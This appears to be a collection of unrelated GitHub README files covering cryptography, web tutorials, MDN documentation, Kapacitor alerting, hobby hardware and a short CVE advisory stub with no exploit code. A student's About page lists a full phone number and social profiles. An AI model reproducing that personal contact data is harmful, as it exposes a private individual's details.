Even better would be your contribution to the code. Let's work together and make this gem a great place for all Monero fans! Don't just fork and do your own thing. My idea for this gem isn't the way we have to do. Feel free to bring yourself into this project. I'm willing to change everything from scratch if it will benefit the future.

## License
This gem is available as open source under the terms of the [MIT
License](https://opensource.org/licenses/MIT).


text:
---
layout: page
title: About
---

<p class="message">
  Thank you for reaching me out.
</p>

I'm currently a Computer Science undergrad student at [Swinburne University of Technology](https://en.wikipedia.org/wiki/Swinburne_University_of_Technology) in Melbourne.

**Contact me:**

Phone number: +61 413 727 184 (Australian number)

Gmail<EMAIL_ADDRESS>
Facebook: https://www.facebook.com/dung.lai.733

Linkedin: https://www.linkedin.com/in/tuandunglai/

Github: https://github.com/DungLai

gha_language: TeX

gha_license_id: NOASSERTION


text:
Using WebSockets with Spring, AngularJS and SockJS
===
This application explains how to write a simple Spring web application that communicates through WebSockets by using the spring-websocket framework and the SockJS client library in combination with AngularJS.

* [View the tutorial](http://g00glen00b.be/spring-angular-sockjs)

http://cdn.sockjs.org/sockjs-0.3.4.min.js
https://cdnjs.cloudflare.com/ajax/libs/stomp.js/2.3.3/stomp.min.js
https://ajax.googleapis.com/ajax/libs/angularjs/1.5.6/angular.min.js
https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.4/lodash.min.js

https://g00glen00b.be/spring-angular-sockjs/

introduced spring boot 1.5.3.RELEASE
update to spring 4.3.8.RELEASE

https://stackoverflow.com/questions/16162787/return-javascript-as-static-resource-from-a-jar-archive

repository: tvcstseng/kalah

gha_language: Java

repo_name: tvcstseng/kalah


text:
# Meals Scheduler Application Mockup

## What this mockup is and is not?

This mockup is a way for us to explore how we can use the datasets we have to implement a meal scheduler/builder application which focuses on the user's goal weight, activity, budget and lifestyle. We are importing some acquired datasets into the notebook to prepare them for being used to collect useful data as to achieve the main goal (generate a logically correct diet). It's not a final version of the data nor the algorithms. Everything will be optimized on the way to the goal.

## Competition

The project has been made before but with less features than we plan to implement and this is where our USP comes into place.

## What to expect

This is an iteration of how we are planning to implement the actual product, so, some data processing should be expected.

## Installation

You can find the installation documentation for the
[Jupyter platform, on ReadTheDocs](https://jupyter.readthedocs.io/en/latest/install.html).
The documentation for advanced usage of Jupyter notebook can be found
[here](https://jupyter-notebook.readthedocs.io/en/latest/).

For a local installation, make sure you have
[pip installed](https://pip.readthedocs.io/en/stable/installing/) and run:

    $ pip install notebook

## Usage - Running Jupyter notebook

### Running in a local installation

Launch with:

    $ jupyter notebook

## Resources

- [Project Jupyter website](https://jupyter.org)
- [Online Demo at jupyter.org/try](https://jupyter.org/try)
- [Documentation for Jupyter notebook](https://jupyter-notebook.readthedocs.io/en/latest/) [[PDF](https://media.readthedocs.org/pdf/jupyter-notebook/latest/jupyter-notebook.pdf)]
- [Nutrition Facts Dataset](https://data.world/awram/food-nutritional-values/workspace/file?filename=ABBREV.xlsx)

repository: MernaRafik/mealdata-mockup

branch_name: refs/heads/main

repo_name: MernaRafik/mealdata-mockup


text:
# BLS Signature Scheme over BLS12-381 pairing-friendly curve

[![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](https://opensource.org/licenses/MIT)
[![License: Apache](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0)
![Github action](https://github.com/status-im/nim-blscurve/workflows/CI/badge.svg)

This library implements:
- The BLS signature scheme (Boneh-Lynn-Shacham)
- over the BLS12-381 (Barreto-Lynn-Scott) pairing-friendly curve

Cipher suite ID: `BLS_SIG_BLS12381G2_XMD:SHA-256_SSWU_RO_POP_`

## Installation

You can install the developement version of the library through nimble with the following command
```
nimble install https://github.com/status-im/nim-blscurve
```

## Implementation stability

This repo follows Ethereum 2.0 requirements.

Besides the standardization work described below, no changes are planned upstream
for the foreseeable future.

### Standardization

Currently (Jun 2019) a cross-blockchain working group is working to standardize BLS signatures
for the following blockchains:
- Algorand
- Chia Network
- Dfinity
- Ethereum 2.0
- Filecoin
- Zcash Sapling

#### Signature scheme

- IETF draft submission v2: https://tools.ietf.org/html/draft-boneh-bls-signature-02
- Repo for collaboration on the draft: https://github.com/cfrg/draft-irtf-cfrg-bls-signature

#### Hashing to curve

- https://tools.ietf.org/html/draft-irtf-cfrg-hash-to-curve-09
- https://github.com/cfrg/draft-irtf-cfrg-hash-to-curve

Note: the implementation was done following Hash-to-curve v7
v9 and v7 are protocol compatible but have cosmetic changes (naming variables, precomputing constants, ...)

#### Curve implementation

- https://tools.ietf.org/html/draft-irtf-cfrg-pairing-friendly-curves-00

## Backend

This library uses:
- [SupraNational BLST](https://github.com/supranational/blst) on x86-64 and ARM64
- [MIRACL Core](https://github.com/miracl/core) on all other platforms.

BLST uses SSSE3 by default, if supported on the host. To disable that, when building
binaries destined for older CPUs, pass `-d:BLSTuseSSSE3=0` to the Nim compiler.

### Keeping track of upstream

To keep track of upstream AMCL:

- Update the submodule.
- Execute `nim e milagro.nims amcl blscurve/csources`
- Test
- Commit

### Executing the test suite

We recommend working within the nimbus build environment described here:
https://github.com/status-im/nim-beacon-chain/

To execute the test suite, just navigate to the root of this repo and execute:

```
nimble test
```

> Please note that within the nimbus build environment, the repository will
  be located in `nim-beacon-chain/vendor/nim-blscurve`.

### Executing the fuzzing tests

Before you start, please make sure that the regular test suite executes
successfully (see the instructions above). To start a particular fuzzing
test, navigate to the root of this repo and execute:

```
nim tests/fuzzing/run_fuzzing_test.nims <test-name>
```

You can specify the fuzzing engine being used by passing an additional
`--fuzzer` parameter. The currently supported engines are `libFuzzer`
(used by default) and `afl`.

All fuzzing tests are located in `tests/fuzzing` and use the following
naming convention:

```
fuzz_<test-name>.nim
```

## License

Licensed and distributed under either of

* MIT license: [LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT
* Apache License, Version 2.0, ([LICENSE-APACHEv2](LICENSE-APACHEv2) or http://www.apache.org/licenses/LICENSE-2.0)

at your option. These files may not be copied, modified, or distributed except according to those terms.

### Dependencies

- SupraNational BLST is distributed under the Apache License, Version 2.0
- MIRACL Core is distributed under the Apache License, Version 2.0

repository: status-im/nim-blscurve

gha_language: C

repo_name: status-im/nim-blscurve


text:
# release-auth

[![Build Status](https://travis-ci.org/vercel/release-auth.svg?branch=master)](https://travis-ci.org/vercel/release-auth)
[![XO code style](https://img.shields.io/badge/code_style-XO-5ed9c7.svg)](https://github.com/sindresorhus/xo)

Handles the OAuth authentication with GitHub's webflow for [release](https://github.com/vercel/release).

## Contributing

1. Create a new OAuth application in [your GitHub account](https://github.com/settings/developers) (if you're working at [@vercel](https://github.com/vercel), just get the keys from [here](https://github.com/organizations/vercel/settings/applications))
2. Set the "Authorization callback URL" to `https://release-auth.vercel.sh`
3. [Fork](https://help.github.com/articles/fork-a-repo/) this repository to your own GitHub account and then [clone](https://help.github.com/articles/cloning-a-repository/) it to your local device
4. Install the dependencies: `yarn install`
5. Start the server: `CLIENT_ID="<id>" CLIENT_SECRET="<secret>" vercel dev`

As always, you can use `yarn test` to run the tests and see if your changes have broken anything.

## Author

Leo Lamprecht ([@notquiteleo](https://twitter.com/notquiteleo)) - [▲Vercel](https://vercel.com)


text:
# Introduction to Webpack
Here I would share my understanding according to the [webpack guide](https://webpack.js.org/guides/) . And by the way point out those points that our project touches.

## What is Webpack
A JS **Static** Module bundler.
1. Bundle dynamically by dependency graph
2. Bundle static modules

* An NPM package(so it’s based on Node.js)
* Not a task runner(e.g. Grunt, Gulp, npm scripts)

## Why do we use Webpack
1. Modulization need while develop.

    **JS**
	* CommonJS — require(‘.a.js’)
	* AMD — requirejs
	* ES6 — import

    **CSS**
	* SCSS
	* LESS

    **Images, fonts, .etc**

2. After modulized, project files are not runnable by itself.
	* Needs translation, bundling

3. It’s the result of [evolution](http://webpack.wuhaolin.cn/1%E5%85%A5%E9%97%A8/1-2%E5%B8%B8%E8%A7%81%E7%9A%84%E6%9E%84%E5%BB%BA%E5%B7%A5%E5%85%B7%E5%8F%8A%E5%AF%B9%E6%AF%94.html)

	1. NPM Script
		* Out of the box.
		* Too simple, not many hooks available.
	2. Grunt
		* Tasks + dependency
		* Flexible, Reusable plugins that encapsulate common tasks
		* Needs lots of config
	3. Gulp
		* Workflow
		* task, run, watch, src, dest
		* Stronger than Grunt, but also needs lots of config to run.
	4. Webpack
		* Everything is a module.
		* Good at handling modulized projects; Plugins; Active community;
		* Cons: could only adapt to modulized projects.

## How to use Web pack
1. [Ways to config](https://webpack.js.org/guides/getting-started/#creating-a-bundle)
	* npx webpack --param
	* npx webpack --config webpack.config.js
	* npm scripts

2. Core concepts —Take config file from our project as an example
	* entry
	What we use as the roots of dependency graph

	* output
	Define where the bundled files would go to
	publicPath: When insert bundled files to index.html, the prefix to add before filename. —change it to watch the effect .
	* loaders — Asset Management: CSS/SCSS, Images/Font files, data files

	* plugins — Output Management and others, more powerful than loaders.

		HtmlWebpackPlugin
		1. Add bundles.
		2. Replace variables
		3. Generate new index.html

		CleanWebpackPlugin -- Clean up before build

## Good Practices
### Output
1. Lazy-load
2. Code splitting — Optimise load time.
		* Entry Points
		* Prevent Duplication — CommonsChunkPlugin
		* Dynamic  Imports
3. Caching
		* hash
4. Tree-shaking — UglifyJSPlugin
5. Source map

### Develop
1. DevServer + Hot Module Replacement
2. Shimming
	* Provide package as global
	* Browser polyfill
3. Babel — to support ES2015
4. PWA support, offline web APP

### Modulize webpack configs
1. webpack-merge — divide config to common, develop, production.

repository: zhengxin-wang/webpack-guide

repo_name: zhengxin-wang/webpack-guide


text:
# How to update the CSS JSON DB

Several characteristics of a CSS property, like its syntax or if it can be animated, are mentioned in multiple pages on MDN and are therefore stored in an ad hoc "database".
This database actually consists of several JSON files containing CSS related information, which are [stored on GitHub](https://github.com/mdn/data/tree/main/css).
This document describes how to update this structure.

## Prerequisite resources

To update or check the content of the CSS JSON DB, you will need to gather information from different sources.

1. **Latest spec**
   Whether it is a W3C Recommendation or an early editor's draft, you should refer to the latest available draft of the spec that covers (or specifies that cover) that feature.
   To find it, you can usually do a web search.
   The latest version will often be linked to from all versions of the spec, listed under "latest draft" or similar.
2. **Latest web browsers**
   These should be experimental/alpha builds such as [Firefox Nightly](https://www.mozilla.org/en-US/firefox/channel/desktop/)/[Chrome Canary](https://www.google.com/intl/en/chrome/canary/) that are more likely to support the features you are documenting.
   This is especially pertinent if you are documenting a nascent/experimental feature.
3. **Additional info**
   Find as much info as you can to better understand how the specific feature works.
   E.g. blog posts or demos are good resources.
4. **Engineering contacts**
   It is really useful to find yourself a friendly engineering contact to ask questions about the spec, someone who is involved in the standardization of the API, or its implementation in a browser.
   If you have the implementation bug on Bugzilla, the engineer who implemented the feature is a good contact: asking him in the bug, with a needinfo flag is a good way of having an answer about a specific question.
   Other good places to find knowledgeable people are:

   - Your internal company address book, if you work for a relevant company.
   - A public mailing list that is involved in the discussion of that API, such as Mozilla's [dev-platform](https://groups.google.com/a/mozilla.org/g/dev-platform/) list, or the W3C list [www-style](https://lists.w3.org/Archives/Public/www-style/).
   - The spec itself. For example, the [CSS Animations spec](https://drafts.csswg.org/css-animations/) lists the authors and their contact details at the top.

## Update the CSS information database

The information stored for a CSS property is:

- Name
- Syntax
- Initial value
- To which elements it applies
- Whether it is inherited
- How percentage values are calculated
- Media it belongs to
- Computed value
- Animation type
- Canonical order of values
- Whether it is a shorthand for other properties
- MDN groups it belongs to

A fundamental element is that we document what is in the _specification_.
That means the reference page is based on the latest iteration of that specification and later on there are compatibility notes stressing the differences between different specification versions and their different implementations by rendering engines.

### Get information from the specifications

Once you have found the relevant specification, the first thing to do is to look for a property definition in the specification.
Look for the summary table (near the bottom), it has most of the values that you are looking for:

![The summary table lists useful attributes of the CSS properties defined in the give spec.](./assets/property_index.png)

In some specifications, especially in older drafts, there isn't such a property index table.
In this case you need to look for the property box of the property itself which looks like this:

![This box lists the most useful attributes of a CSS property.](./assets/property_definition.png)

Note that in some cases the property index table might be more briefly and with less details than the property box.

### Store the information in the JSONs

The information from the specifications is stored in a specific way in the JSON DB. CSS properties are stored within [properties.json](../css/properties.json).
All the JSON keys below are obligatory.

Translated information is stored as key string mapping to a translation in [l10n/css.json](../l10n/css.json) with language + country codes (according to [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) and [ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)) as keys.

You can use the macros [`{{cssxref}}`](https://github.com/mdn/yari/blob/main/kumascript/macros/cssxref.ejs) and [`{{SVGElement}}`](https://github.com/mdn/yari/blob/main/kumascript/macros/SVGElement.ejs) within translations to refer to other parts of MDN.

      Spec. name
      JSON key name
      Comment
      Examples

      Value
      syntax
      As specified within the specification

"syntax": "visible | hidden"

      Media
      media
      Either a predefined localization key, a block of localizations

          properties.json

"media": "visual"

          l10n/css.json

"visual": {
  "en-US": "visual",
  "de": "visuell",
  "fr": "visuel",
  "ru": "визуальный"
}

      Inherited
      inherited
      Boolean value

"inherited": true

      Animation type
      animatable

        Either a predefined localization key, a block of localizations, in case
        of a shorthand an array of longhands, or a block with the property
        "as" and an optional "note" property.
The
        "as" property holds a space-separated list of translation
        keys for values related to
        interpolation.

          properties.json

"animationType": "discrete"

"animationType": [
  "border-color",
  "border-style",
  "border-width"
]

          l10n/css.json

"discrete": {
  "en-US": "discrete",
  "de": "diskret",
  "fr": "discrète"
}

      Percentages
      percentages

        Either a predefined localization key, a block of localizations, or in
        case of a shorthand an array of longhands

          properties.json

"percentages": "logicalWidthOfContainingBlock"

"percentages": [
  "background-position",
  "background-size"
]

          l10n/css.json

"logicalWidthOfContainingBlock": {
  "en-US": "logical-width of containing block",
  "de": "logische Breite des beinhaltenden Blocks",
  "fr": "largeur logique du bloc englobant",
  "ru": "логическая высота содержащего блока"
}

      -
      groups
      Array of tags to group the information on MDN.

"groups": [
  "CSS Flexible Box Layout"
]

      Initial
      initial

        If the value is CSS code, it must be enclosed in a
        <code> tag.

"initial": "<code>none<\/code>"

      Applies to
      appliesto

        Either a predefined localization key, a block of localizations, or in
        case of a shorthand an array of longhands

          properties.json

"appliesto": "absolutelyPositionedElements"

"appliesto": [
  "border-image-outset",
  "border-image-repeat",
  "border-image-slice",
  "border-image-source",
  "border-image-width"
]

          l10n/css.json

"absolutelyPositionedElements": {
  "en-US": "absolutely positioned elements",
  "de": "absolut positionierte Elemente",
  "fr": "éléments positionnés de manière absolue",
  "ja": "絶対位置指定された要素",
  "ru": "абсолютно позиционированные элементы"
}

      Computed value
      computed

        Either a predefined localization key, a block of localizations, or in
        case of a shorthand an array of longhands

          properties.json

"computed": "normalizedAngle"

"computed": [
    "border-width",
    "border-style",
    "color"
]

          l10n.css.json

"normalizedAngle": {
  "en-US": "normalized angle",
  "de": "normalisierter Winkel",
  "fr": "angle normalisé",
  "ru": "нормализованный угол"
}

      Canonical order
      order
      Either a predefined localization key or a block of localizations

          properties.json

"order": "uniqueOrder"

          l10n/css.json

"uniqueOrder": {
  "en-US": "the unique non-ambiguous order defined by the formal grammar",
  "de": "die eindeutige Reihenfolge definiert durch die formale Grammatik",
  "fr": "l'ordre unique et non-ambigu défini par la grammaire formelle",
  "ja": "形式文法で定義される一意のあいまいでない順序",
  "es": "el orden único no-ambigüo definido por la gramática formal",
  "ru": "уникальный неоднозначный порядок, определённый формальной грамматикой"
}

It may happen that the syntax contains references to specific values.
Such values normally define their own syntaxes. Those syntaxes should be stored [syntaxes.json](../css/syntaxes.json) with their name as key.
E.g. the `font-family` property has a syntax of `[ <family-name> | <generic-family> ]#`.
The syntaxes for the values `<family-name>` and `<generic-family>` are stored like this:

```json
{
  "syntaxes": {
    "family-name": "<string> | <custom-ident>+",
    "generic-family": "serif | sans-serif | cursive | fantasy | monospace"
  }
}
```

## Example for a CSS longhand property

```json
{
  "backface-visibility": {
    "syntax": "visible | hidden",
    "media": "visual",
    "inherited": false,
    "animatable": "no",
    "percentages": "no",
    "groups": ["CSS Transforms"],
    "initial": "<code>visible</code>",
    "appliesto": "transformableElements",
    "computed": "asSpecified",
    "order": "uniqueOrder"
  }
}
```

## Example for a CSS shorthand property

For shorthand properties, several entries are a list of the longhand properties associated to it.

```json
{
  "animation": {
    "syntax": "<single-animation-name> || <time> || <timing-function> || <time> || <single-animation-iteration-count> || <single-animation-direction> || <single-animation-fill-mode> || <single-animation-play-state>",
    "media": "visual",
    "inherited": false,
    "animatable": "no",
    "percentages": "no",
    "groups": ["CSS Animations"],
    "initial": [
      "animation-name",
      "animation-duration",
      "animation-timing-function",
      "animation-delay",
      "animation-iteration-count",
      "animation-direction",
      "animation-fill-mode",
      "animation-play-state"
    ],
    "appliesto": "allElementsAndPseudos",
    "computed": [
      "animation-name",
      "animation-duration",
      "animation-timing-function",
      "animation-delay",
      "animation-direction",
      "animation-iteration-count",
      "animation-fill-mode",
      "animation-play-state"
    ],
    "order": "orderOfAppearance"
  }
}
```

repository: mdn/data

repo_name: mdn/data


text:
## FAST HISTOGRAM
Computes the histogram of a two column input.

### COMPILE

```bash
$ make
```

## USAGE
Runing the program without input will output this help:
```bash
Raul P. Pelaez 2020. Histogram utility.

  Given a two column input through stdin computes a weighted histogram.
  The first column of the output is the center position of each bin, the second contains the un normalized histogram (the sum of weigths falling inside each bin).

  USAGE:
    histogram -u [upper limit] -l [lower limit] -n [number of intervals]

  EXAMPLE:
   Histogram of an uniform distribution

   seq 1 10000 | awk '{print rand(), 1}' | histogram -l 0 -u 1 -n 10000 > flatHistogram.dat
```

repository: RaulPPelaez/FastHistogram

repo_name: RaulPPelaez/FastHistogram


text:
# DC-Motor Joints

These are joints designed around brushed dc-motors equipped with encoders. Each motor joint comes equipped with it's own electronics and software for controlling the motors and communication.

![assembled joint](./img/hardware_joint.JPG)

## Motors
The motors these joints are designed around comes from the DCX range of Maxon Motors.
![The motors](./img/the_motors.JPG)
(Link to configuration specifications or drawings for measurements). Two joints are then designed around each of these motors.

Technically any brushed dc-motor supplied with an encoder are possible to use but that requires redesign with new measurements of one of the existing joints.

## Hardware and Manufacturing
The hardware are located [here](./hardware) both as stl files as well as the source code.

The manufacturing process used to build the hardware is 3d-printing.

## Electronics
The design of the controlling electronics are located [here](./electronics). It is based on a pic24 microcontroller and a LMD1800 motor driver with connections to both motor and encoder.

It contains gerber files for pcb manufacturing, source files for eagle. It also contains source files for a uno32 power shield intended for use on a master controller.

## Software
The software for controlling the motors are located [here](./software). This includes source code for the pic24 microcontroller as well as MATLAB code used to derive controller parameters, extract parameters from the hardware used for modeling and system simulations.

## On-board LED Functionality
Each electronic board is equipped with two leds, one green and one red.

The possible blinking messages for the red led are:

| period | duty cycle | meaning |
| ---: | ---: | :--- |
| 1 sec | 20% | The encoder needs calibration |
| 3 sec | 50% | Error reading from the EEPROM data |
| ∞ sec | 100% | Motor controller is overheated |

When none of these conditions above are present the red led will flash with a period the same as the current sampling rate of the controller and have a duty cycle equal to the cpu utilization of the timer interrupt.

The default mode of the green led is to blink each time it receives an I2C-message but can be changed to other modes in the source code.

repository: modelyze/morap

repo_name: modelyze/morap


text:
### [CVE-2019-19346](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19346)
![](https://img.shields.io/static/v1?label=Product&message=openshift%2Fmariadb-apb&color=blue)
![](https://img.shields.io/static/v1?label=Version&message=n%2Fa&color=blue)
![](https://img.shields.io/static/v1?label=Vulnerability&message=CWE-266&color=brighgreen)

### Description

An insecure modification vulnerability in the /etc/passwd file was found in the container openshift/mariadb-apb, affecting versions before the following 4.3.5, 4.2.21, 4.1.37, and 3.11.188-4 . An attacker with access to the container could use this flaw to modify /etc/passwd and escalate their privileges.

### POC

#### Reference
- https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-19346

#### Github
No PoCs found on GitHub currently.

repository: trickest/cve

gha_language: HTML

repo_name: trickest/cve


text:
# ESP32-TLA2024

A library for I2C ADC chip [**TLA2024**](http://www.ti.com/product/TLA2024) targeted for ESP32 microcontroller and Arduino framework. With minor changes you can use it for other MCUs, as long as you use Arduino framework.

![](https://img.shields.io/badge/License-MIT-blue.svg)

---

## Using

To use the library for ESP32 development using Arduino IDE:

* Clone this repo under Arduino IDE `libraries` folder
* Open example provided

## Credit

Adapted Library for Arduino IDE. Original Library by [@andriyadi](https://github.com/andriyadi): [ESP32-TLA2024](https://github.com/andriyadi/ESP32-TLA2024)

The library is inspired by [this one](https://github.com/smaug-g/TLA2024/tree/master/lib/TLA2024). Thanks [@smaug-g](https://github.com/smaug-g)!


text:
# Loopoolo

Loopoolo is a system that allow you manage people. This systems uses some concepts of management 3.0 (created by Jurgen Appelo). The idea is "don't loose yourself" when you organize your feedbacks and some informations of your crew.

### 1. Features

* Users management;  (on development)
* Roles management;  (on development)
* Encounters management (feedback);  (on development)
* Manage PDI (quests);  (on development)
* Competency Matrix ( https://management30.com/practice/competency-matrix/ );  (on development)
* Teams management;  (on development)
* Moving motivator ( https://management30.com/practice/moving-motivators/ )  (on development)
* Kudo box management ( https://management30.com/product/kudo-cards/ );  (on development)
* Manage useful links for default or for team;  (on development)
* Twitter, tumblr and instagram integratiom (just for fun :-D );  (on development)
* Gamification (manage conquests and so much more);  (on development)

### 2. Install

##### Create your own database file
cp config/database.yml.sample config/database.yml

##### Create your own secrets file
cp config/secrets.yml.sample config/secrets.yml

##### Setup database
bundle exec rake db:create
bundle exec rake db:migrate

##### Start web server
bundle exec rails server

### 3. I would like to contribute

Just access ( https://github.com/chupa-cabras/loopoolo/blob/master/CONTRIBUTING.md )

### 4. Credits
DW Pellegrina
Jackson Borsatto

Thanks Admin LTE developers
https://adminlte.io/themes/AdminLTE/pages/tables/simple.html
https://adminlte.io/docs/2.4/installation

repository: chupa-cabras/loopoolo

repo_name: chupa-cabras/loopoolo


text:
# DEV269 - Universal Kubernetes Management for Private or Hybrid Cloud

This repository contains the material for the SAP TechEd 2020 session called DEV269 - Universal Kubernetes Management for Private or Hybrid Cloud.

## 📌 Overview

This session introduces attendees to the capabilities offered by the open source solution [Gardener](https://gardener.cloud). Gardener is used by SAP for centralized management of thousands of homogeneous Kubernetes clusters. They run on all the public hyperscalers like AWS, Azure, GCP, AliCloud, etc. in all their data centers around the globe, and also in private or restricted environments based on OpenStack, VMware vSphere, or Equinix Metal/Packet.

## 🚦 Requirements

The requirements to follow the exercises in this repository are:

- A UserID registered on www.sap.com
- At least basic knowledge on the following topics:
    - Cloud Technologies and Containerization
    - [Kubernetes](https://kubernetes.io)

## 👨🏼💻 Exercises

- [Getting Started and Registration](exercises/ex0_getting_started/registration.md)
- [Exercise 1 - Getting to know Gardener (Beginners)](exercises/ex1_beginners/README.md)
    - [Exercise 1.1 - Navigate into Gardener Dashboard](exercises/ex1_beginners/01_dashboard.md)
    - [Exercise 1.2 - Project Clusters](exercises/ex1_beginners/02_project_clusters.md)
    - [Exercise 1.3 - Cluster overview](exercises/ex1_beginners/03_cluster_overview.md)
- [Exercise 2 - Managing Gardener shoot clusters (Advanced)](exercises/ex2_advanced_ui/README.md)
    - [Exercise 2.1 - Create your first Gardener Project](exercises/ex2_advanced_ui/01_create_project.md)
    - [Exercise 2.2 - Create your first shoot cluster](exercises/ex2_advanced_ui/02_cluster_setup_ui.md)
    - [Exercise 2.3 - Cluster lifecycle operations](exercises/ex2_advanced_ui/03_cluster_ops.md)
    - [Exercise 2.4 - Using shoot clusters - deploy and add-on](exercises/ex2_advanced_ui/04_deploy_sample_addon.md)
    - [Exercise 2.5 - Clean up](exercises/ex2_advanced_ui/05_cleanup.md)
- [Exercise 3 - Using Gardener with kubectl (Advanced)](exercises/ex3_advanced_cli/README.md)
    - [Exercise 3.1 - Shoot cluster setup using YAML](exercises/ex3_advanced_cli/01_cluster_setup_yaml.md)
    - [Exercise 3.2 - Garden cluster](exercises/ex3_advanced_cli/02_garden_cluster.md)
    - [Exercise 3.3 - Editing shoot cluster through YAML](exercises/ex3_advanced_cli/03_edit_shoot.md)
    - [Exercise 3.4 - Gardener's controllers at work](exercises/ex3_advanced_cli/04_controllers_at_work.md)

:warning: If you have already registered your account on www.sap.com then start the exercises [here](exercises/ex1_beginners/01_dashboard.md). Otherwise, please [REGISTER](https://www.sap.com/registration/trial.908cb719-0e03-421c-a091-daca045f0acc.html) first.

## 📞 How To Obtain Support

This is an on-demand session and you can request support via the [Issues](../../issues) tab.

## 📚 [Learn More!](https://github.com/gardener/gardener#learn-more)

## 📑 License
Copyright (c) 2020 SAP SE or an SAP affiliate company. All rights reserved. This file is licensed under the Apache Software License, version 2.0 except as noted otherwise in the [LICENSE](LICENSES/Apache-2.0.txt) file.


text:
# Oxford Center for Buddhist Studies

The OCBS is approaching its 20th anniversary. During this time, it has established itself as a trusted academic organisation. In the last ten years, under the Directorship of Richard Gombrich (now retired), the OCBS has vastly expanded its online Pali teaching activities. These currently include: Online comprehensive self-paced Pali courses, live Pali reading groups, an Advanced Pali course, and the Pali Hub -comprising a bibliography (currently over 14,000 entries) of scholarship in Pali and Early Buddhism.

<address>
The Oxford Pali Translation Project,

c/o Oxford Centre for Buddhist Studies (OCBS),

Annexe Offices, Linton Road, Oxford,

OX2 6UD,

United Kingdom
<address>

repository: suttacentral/studies

repo_name: suttacentral/studies


text:
---
title: Configure alerts in a Kapacitor Enterprise cluster
description: Information about how to avoid duplicate alerts when sending alerts from a Kapacitor cluster.
menu:
  enterprise_kapacitor_1_5:
    name: Configure alerts in a cluster
    weight: 20
    parent: Cluster Management
---

## Terminology
Definitions for terms specific to this guide are defined below:

**Standalone event handler**
"Standalone" event handlers (also known as "topic handlers") are those added using an
[event handler file](https://docs.influxdata.com/kapacitor/v1.5/event_handlers/#handler-file) that subscribes to a specified alert topic.
As alerts are published to that topic, the standalone event handler sends alert data to a given endpoint.
How the handler works and to what endpoint data is sent depends on the particular type of handler used
(defined by the `kind` attribute in your [handler file](#3-add-an-alert-handler-that-subscribes-to-your-topic)).

**Inline event handler**
"Inline" event handlers are those [used in TICKscripts](https://docs.influxdata.com/kapacitor/v1.5/event_handlers/#tickscript)
that send alert data directly from the running task.

## Cluster awareness
Currently, Kapacitor Enterprise is only partially cluster-aware.
For example, members in a Kapacitor cluster aren't aware of tasks and TICKscripts
running on other members in the cluster.
Tasks need to be defined on each member on which you wish the task to run.
However, "standalone" alert handlers only need to be defined on one member.
Kapacitor will manage the replication of that handler across other members of the cluster.

## Alert handlers in a cluster
Because members of a Kapacitor Enterprise cluster are not aware of tasks running on
other members, alert data should **not** be sent directly from TICKscripts.
Doing so will result in duplicate notifications as each member running the same task
will send the same alert.

{{< inline-svg svg="static/img/svgs/kapacitor-cluster-alerts-duplicates.svg" >}}

Instead, publish alert data to a topic and create a standalone alert handler that subscribes to the topic.
Kapacitor Enterprise handles the replication of standalone handlers across the cluster.
As multiple members publish alerts a topic, Kapacitor **deduplicates** the alerts so the
standalone handler will not send duplicate alerts.

{{< inline-svg svg="static/img/svgs/kapacitor-cluster-alerts-topic.svg" >}}

## Add alerts to a Kapacitor cluster
To add alerts to your Kapacitor Enterprise cluster without worrying about duplicate alerts,
do the following:

### 1. Publish alert data to a topic
In your TICKscript [AlertNodes](https://docs.influxdata.com/kapacitor/v1.5/nodes/alert_node/), publish alert
data to a topic using the `.topic()` method.

_**TICKscript - Publish alerts to a topic**_
```js
|alert()
  // ...
  .topic('topic-name')
```

### 2. Add the task to nodes in your cluster
Since tasks are not replicated across members in you cluster, tasks need to be defined on each member.
Login to each member you wish to run a given task and define a new task using your TICKscript:

```bash
# Pattern
kapacitor define <task-name> -tick <path-to-tickscript-file>

# Example
kapacitor define cpu-alert -tick cpu_alert.tick
```

> InfluxData recommends defining a given task on the number members set in the
> `redundancy` configuration option of the `[alert]` section of your `kapacitor.conf`.
> For example, if you set `redundancy` to 2, then each task that generates alerts
> should be defined on 2 members of the cluster.

### 3. Add an alert handler that subscribes to your topic
Standalone alert handlers are defined using [handler files](https://docs.influxdata.com/kapacitor/v1.5/event_handlers/#handler-file),
simple YAML files that includes alert handler information.
Below is an example [Slack](https://slack.com) handler file that subscribes to the `topic-name` topic:

_**slack-handler.yml**_
```yaml
id: handler-id
topic: topic-name
kind: slack
options:
  workspace: 'workspace.slack.com'
  channel: '#alerts'
  username: 'kapacitor'
```

Standalone handlers only need to be defined on one member of your cluster.
Kapacitor Enterprise manages the replication of standalone handlers across the cluster.
Login to one of the members in your cluster and define your alert handler:

```bash
# Pattern
kapacitor define-topic-handler <path/to/handler.yml>

# From inside a running Kapacitor instance
kapacitor define-topic-handler ./slack-handler.yml
```

gha_language: Less


text:
# Feature_Detection
[![](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://github.com/rohandubey/Feature_Detection/blob/master/LICENSE)
![pypi](https://img.shields.io/pypi/v/pybadges.svg)
![versions](https://img.shields.io/pypi/pyversions/pybadges.svg)
[![PyPI status](https://img.shields.io/pypi/status/trains-jupyter-plugin.svg)](https://pypi.python.org/pypi/trains-jupyter-plugin/)

## Introduction
Feature Detection is very important understanding an image and marking out the point/region in an image responsible for bringing out the good features of an image. This project contains different methods/approaches how feature detection can be implemented.
## Installation
```
$ pip install -r requirements.txt
```
## Algorithms
### FAST Algorithm for Corner Detection
FAST Algorithm for Corner Detection is a high speed algorithm detects features based on circular intensity, threshold value in a given pixel radius and p roportion of them are stored, then one with 'max' and 'min' intensity are compared to get the feature corner.

### Harris Corner Detection
Harris Corner Detection algorithm is based on  difference of intensity for displacement in all directions.

### Shi-Tomasi Corner Detection
This is a faster algorithm similar to Harris corner Detection but instead of diffrence of intensity it chooses minimum intensity and thus reducing the overall compuitation

### SIFT
 SIFT (Scale-Invariant Feature Transform) is a rotaion and scale invariant feature detector and thus is helpful as it maks out he boundary of the pixel circle selected and the freature selection based on scaling can be done.

## Authors
Made with ❤ by Rohan Dubey - Complete work


text:
# leonard-ipsum

